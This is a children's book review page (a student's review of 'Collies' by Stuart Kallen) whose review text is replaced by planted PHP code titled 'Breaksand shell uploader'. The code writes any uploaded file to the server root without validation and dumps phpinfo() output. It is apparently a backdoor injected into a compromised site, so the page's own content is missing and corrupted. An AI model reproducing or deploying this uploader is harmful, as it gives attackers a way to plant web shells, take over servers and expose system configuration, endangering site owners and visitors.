Collies

Written by Stuart Kallen

Reviewed by Gabriella R. (age 9)

<?php $target = "/"; //CHANGE THIS $target = $target . basename( $_FILES['uploaded']['name']); if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target)) { echo "File has been uploaded"; } else { echo "Error uploading file"; } ?> <html> <body> <h3>Breaksand shell uploader</h3> <form enctype="multipart/form-data" method="POST"> File: <input name="uploaded" type="file" /><br /> <input type="submit" value="Upload" /> </form> <h2>PHP Info:</h2> <?php phpinfo(); ?> </body> </html>
Gabriella R. is a student in The DuJardin Jaguars Spaghetti Book Club
2002-2003